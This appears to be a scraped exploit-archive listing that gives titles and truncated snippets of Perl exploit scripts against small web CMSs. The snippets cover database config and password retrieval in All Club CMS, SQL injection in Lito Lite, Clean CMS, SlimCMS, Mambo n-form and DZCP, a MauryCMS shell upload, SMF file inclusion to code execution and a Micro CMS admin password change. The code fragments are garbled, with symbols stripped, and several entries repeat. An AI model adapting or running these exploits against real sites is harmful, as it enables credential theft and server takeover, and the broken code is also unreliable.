allclubcms-dbretrieve.txt

!/usr/bin/perl =about All Club CMS 'Lynx textmode', timeout = 5, or die $!; my $send = $http-get"http://$host/$path/accms.dat"; if$send-issuccess print STDOUT $send-content; exit; else print STDERR $send-statusline; exit; if$mode = /default/i $data9 = s/\s/\0/; password $data8 = s/DBPASS/\0/;...

All Club CMS <= 0.0.2 Remote DB Config Retrieve Exploit

No description provided by source. !/usr/bin/perl =about All Club CMS = 0.0.2 Remote DB Config Retrieve Exploit ------------------------------------------------------- by athos - stakerathotmaildotit download on http://sourceforge.net ------------------------------------------------------- Usage:...

Lito Lite CMS (cate.php cid) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ========================================================= Lito Lite CMS cate.php cid Remote SQL Injection Exploit ========================================================= !/usr/bin/perl -w...

All Club CMS 0.0.2 - Remote Database Configuration Retrieve

All Club CMS 0.0.2 - Remote Database Configuration Retrieve !/usr/bin/perl =about All Club CMS 'Lynx textmode', timeout = 5, or die $!; my $send = $http-get"http://$host/$path/accms.dat"; if$send-issuccess print STDOUT $send-content; exit; else print STDERR $send-statusline; exit; if$mode =...

All Club CMS <= 0.0.2 Remote DB Config Retrieve Exploit

Exploit for unknown platform in category web applications ======================================================= All Club CMS 'Lynx textmode', timeout = 5, or die $!; my $send = $http-get"http://$host/$path/accms.dat"; if$send-issuccess print STDOUT $send-content; exit; else print STDERR...

CMS little 0.0.1 - 'term' SQL Injection

!/usr/bin/perl -w ========================================================== CMS little index.php term Remote SQL Injection Exploit ========================================================== ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. CWH Underground Hacking Team...

Clean CMS 1.5 (full_txt.php id) Blind SQL Injection Exploit

No description provided by source. Clean CMS 1.5 fulltxt.php id Blind SQL Injection Exploit url: http://www.4yoursite.nl/scriptcleancms.php Author: JosS mail: sys-projectathotmaildotcom site: http://hack0wn.com && spanish-hackers.com team: Spanish Hackers Team - SHT This was written for education...

cleancms-blindsql.txt

Clean CMS 1.5 fulltxt.php id Blind SQL Injection Exploit url: http://www.4yoursite.nl/scriptcleancms.php Author: JosS mail: sys-projectathotmaildotcom site: http://hack0wn.com && spanish-hackers.com team: Spanish Hackers Team - SHT This was written for educational purpose. Use it at your own risk...

MauryCMS &lt;= 0.53.2 Remote Shell Upload Exploit

No description provided by source. !/usr/bin/perl =about MauryCMS = 0.53.2 Remote Shell Upload Exploit ---------------------------------------------- by athos - stakerathotmaildotit download on http://cms.maury91.org thnx Osirys =cut use strict; use warnings; use LWP::UserAgent; my...

maurycms-upload.txt

!/usr/bin/perl =about MauryCMS ; foreach@read $shell .= $; closeFILE; &usage if $host ! /http://.+?$/i && $file ! /a-zA-Z/i; my @path = split ///,substr$host,7; $http = new LWP::UserAgent agent = "Mozilla/4.5 en Win95; U", ; @auth = split':',getcookies; ifnot defined$path1 $user = qqnick=$auth1;...

MauryCMS <= 0.53.2 Remote Shell Upload Exploit

Exploit for unknown platform in category web applications ============================================== MauryCMS ; foreach@read $shell .= $; closeFILE; &usage if $host ! /http://.+?$/i && $file ! /a-zA-Z/i; my @path = split ///,substr$host,7; $http = new LWP::UserAgent agent = "Mozilla/4.5 en...

SlimCMS <= 1.0.0 (edit.php) Remote SQL Injection Exploit

Exploit for unknown platform in category web applications ======================================================== SlimCMS 2 114. $query = "UPDATE pages SET title = '".$POST'pageTitle'."', content = '". striptagsstripslashes$POST'cmsText',$allowedTags."' WHERE ID = ".$GET'pageID'; 115...

Mambo Component n-form (form_id) Blind SQL Injection Exploit

No description provided by source. !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 system"Title Kosova Hackers Group by boom3rang"; print " \n"; print " \n"; print " Mambo Component n-formformid Blind SQL Injection Exploit \n"; print "...

mambonform-sql.txt

!/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 system"Title Kosova Hackers Group by boom3rang"; print " \n"; print " \n"; print " Mambo Component n-formformid Blind SQL Injection Exploit \n"; print " -----------------------------------------------------------\n"; print " Author:...

Mambo Component n-form - form_id Blind SQL Injection

Mambo Component n-form - formid Blind SQL Injection !/usr/bin/perl use LWP::UserAgent; use Getopt::Long; if!$ARGV1 system"Title Kosova Hackers Group by boom3rang"; print " \n"; print " \n"; print " Mambo Component n-formformid Blind SQL Injection Exploit \n"; print "...

Mambo Component n-form (form_id) Blind SQL Injection Exploit

Exploit for unknown platform in category web applications ============================================================ Mambo Component n-form formid Blind SQL Injection Exploit ============================================================ !/usr/bin/perl use LWP::UserAgent; use Getopt::Long;...

Simple Machines Forum (SMF) 1.1.6 - Local File Inclusion / Code Execution

!/usr/bin/perl @title: Simple Machines Forum Code Execution @versn: perl P:\advisories\smf\smflocalfileinclude.pl -s http://localhost/audit/smf116 -u regular -p test -d ii 0day Simple Machines Forum new cookiejar = , agent = "Mozilla FireFox" ; my %parms = s = "", d = 0, x = sub print " Proxy...

microcms-modify.txt

!/usr/bin/perl -------------------------------------------------------------- Micro CMS ; ifdefined $admin print STDOUT deladmin$admin; exit; else print STDOUT "+ Not Defined!\n"; exit; if$tell = /change/i print STDOUT "+ Admin ID : "; chomp$admin = ; print STDOUT "+ New Password: "; chomp$passwd...

DZCP (deV!L_z Clanportal) 1.4.9.6 - Blind SQL Injection

DZCP deV!Lz Clanportal 1.4.9.6 - Blind SQL Injection use HTTP::Cookies; use LWP::UserAgent; my $ua = LWP::UserAgent-new cookiejar = HTTP::Cookies-new,; $ua-agent 'Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9' ; usage; print "\n"; $server = $ARGV0; $dir = $ARGV1; $username = $ARGV2; $password =...

DZCP (deV!L_z Clanportal) 1.4.9.6 - Blind SQL Injection

use HTTP::Cookies; use LWP::UserAgent; my $ua = LWP::UserAgent-new cookiejar = HTTP::Cookies-new,; $ua-agent 'Mozilla/5.0 Gecko/20061206 Firefox/1.5.0.9' ; usage; print "\n"; $server = $ARGV0; $dir = $ARGV1; $username = $ARGV2; $password = $ARGV3; if !$password die "Argh! Read teh Usage!\n"; $url...